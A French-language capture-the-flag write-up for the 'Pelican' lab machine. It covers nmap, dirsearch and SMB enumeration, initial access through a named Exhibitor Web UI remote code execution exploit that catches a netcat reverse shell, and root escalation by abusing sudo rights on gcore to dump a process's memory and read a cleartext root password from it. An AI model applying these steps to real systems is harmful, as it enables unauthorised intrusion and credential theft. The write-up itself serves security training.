Pelican

exhibitor gcore ps

• Nom machine : Pelican

• Difficulté : Intermédiaire

• OS : Linux

Enumération

NMAP

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 15:41 EDT
Nmap scan report for 192.168.208.98
Host is up (0.032s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
|   256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_  256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
631/tcp   open  ipp         CUPS 2.2
|_http-title: Forbidden - CUPS v2.2.10
|_http-server-header: CUPS/2.2 IPP/2.1
| http-methods: 
|_  Potentially risky methods: PUT
2181/tcp  open  zookeeper   Zookeeper 3.4.6-1569965 (Built on 02/20/2014)
2222/tcp  open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
|   256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_  256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
8080/tcp  open  http        Jetty 1.0
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(1.0)
8081/tcp  open  http        nginx 1.14.2
|_http-title: Did not follow redirect to http://192.168.208.98:8080/exhibitor/v1/ui/index.html
|_http-server-header: nginx/1.14.2
46295/tcp open  java-rmi    Java RMI
Service Info: Host: PELICAN; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h20m00s, deviation: 2h18m35s, median: 0s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-08-27T19:42:13
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: pelican
|   NetBIOS computer name: PELICAN\x00
|   Domain name: \x00
|   FQDN: pelican
|_  System time: 2024-08-27T15:42:15-04:00

HTTP (8080)

┌──(kali㉿kali)-[~/oscp]
└─$ dirsearch -u http://192.168.208.98:8080/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/oscp/reports/http_192.168.208.98_8080/__24-08-27_15-42-23.txt

Target: http://192.168.208.98:8080/

[15:42:23] Starting: 
[15:42:36] 200 -   18KB - /application.wadl
[15:42:36] 200 -   18KB - /application.wadl?detail=true

On tombe sur un fichier xml

SMB (139/445)

┌──(kali㉿kali)-[~]
└─$ smbmap -H 192.168.208.98               

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - [e-mail]
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
                                                            [*] Established 1 SMB session(s)
                                                                                                                                                                
[+] IP: 192.168.208.98:445	Name: 192.168.208.98      	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	print$                                            	NO ACCESS	Printer Drivers
	IPC$                                              	NO ACCESS	IPC Service (Samba 4.9.5-Debian)

Le partage print, en lien avec cups

Cups (631)

La page nous indique forbidden.

HTTP (8081)

Nous trouvons un exploit

Accès initial

Exhibitor Web UI 1.7.1 - Remote Code ExecutionExploit Database

┌──(kali㉿kali)-[~/oscp]
└─$ nc -lnvp 4444         
listening on [any] 4444 ...
connect to [192.168.45.224] from (UNKNOWN) [192.168.208.98] 57430
whoami
charles
python -c 'import pty;pty.spawn("/bin/bash")'
charles@pelican:/opt/zookeeper$ 

Elévation des privilèges

charles@pelican:~$ sudo -l
sudo -l
Matching Defaults entries for charles on pelican:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on pelican:
    (ALL) NOPASSWD: /usr/bin/gcore

charles@pelican:~/ps$ ps -ef -U root
ps -ef -U root
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 15:38 ?        00:00:00 /sbin/init
{...}
root       473   444  0 15:38 ?        00:00:00 /bin/sh -c while true; do chown 
avahi      482   453  0 15:38 ?        00:00:00 avahi-daemon: chroot helper
root       483     1  0 15:38 ?        00:00:00 /usr/sbin/cups-browsed
root       490     1  0 15:38 ?        00:00:00 /usr/bin/password-store
root       491     1  0 15:38 ?        00:00:00 /usr/lib/policykit-1/polkitd --n
{...}

/usr/bin/password-store

charles@pelican:~/ps$ sudo gcore 490
sudo gcore 490
0x00007fec7ea386f4 in __GI___nanosleep (requested_time=requested_time@entry=0x7ffd84db2450, remaining=remaining@entry=0x7ffd84db2450) at ../sysdeps/unix/sysv/linux/nanosleep.c:28
28	../sysdeps/unix/sysv/linux/nanosleep.c: No such file or directory.
Saved corefile core.490
[Inferior 1 (process 490) detached]

charles@pelican:~/ps$ strings core.490 | grep root -A 5 -B 5
strings core.490 | grep root -A 5 -B 5
/lib/x86_64-linux-gnu/libc.so.6
/usr/bin/passwor
////////////////
/usr/bin/passwor
////////////////
001 Password: root:
ClogKingpinInning731
x86_64
/usr/bin/password-store
HOME=/root
LOGNAME=root
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
LANG=en_US.UTF-8
SHELL=/bin/sh
PWD=/root
/usr/bin/password-store
bemX
__vdso_clock_gettime
__vdso_gettimeofday
__vdso_time
charles@pelican:~/ps$ su root
su root
Password: ClogKingpinInning731

root@pelican:/home/charles/ps# whoami
whoami
root

Nous sommes root !